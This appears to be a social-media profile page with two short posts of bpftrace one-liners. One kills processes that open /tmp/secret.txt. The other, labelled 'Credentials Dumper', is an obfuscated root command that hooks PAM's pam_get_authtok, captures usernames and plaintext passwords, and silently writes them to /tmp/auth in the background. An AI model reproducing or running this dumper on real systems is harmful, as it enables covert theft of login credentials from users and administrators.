ebpftoy

6 posts

ebpftoy

ebpftoy

@ebpftoy

Fun with eBPF

Katılım Temmuz 2022
0 Takip Edilen20 Takipçiler
ebpftoy
ebpftoy@ebpftoy·
Kill program that access to /tmp/secret.txt #eBPF bpftrace --unsafe -e 'tracepoint:syscalls:sys_enter_openat { if (strncmp("/tmp/secret.txt", str(args->filename), 15) == 0) { signal(9); }}'
GIF
English
0
3
3
0
ebpftoy
ebpftoy@ebpftoy·
Credentials Dumper a="probe:/*b/x*u/*pam.*.0:pam_get_authtok";c="@handle[tid]";d=",str(*((uint64*)";sudo bpftrace -e "BEGIN {printf(\"pid,comm,user,pass\n\");}u$a{$c=arg0;}uret$a/$c/{printf(\"%d,%s,%s,%s\n\",tid,comm$d($c+48)))$d$c)));delete($c);}"|sudo tee /tmp/auth>/*/null&
GIF
English
1
2
9
0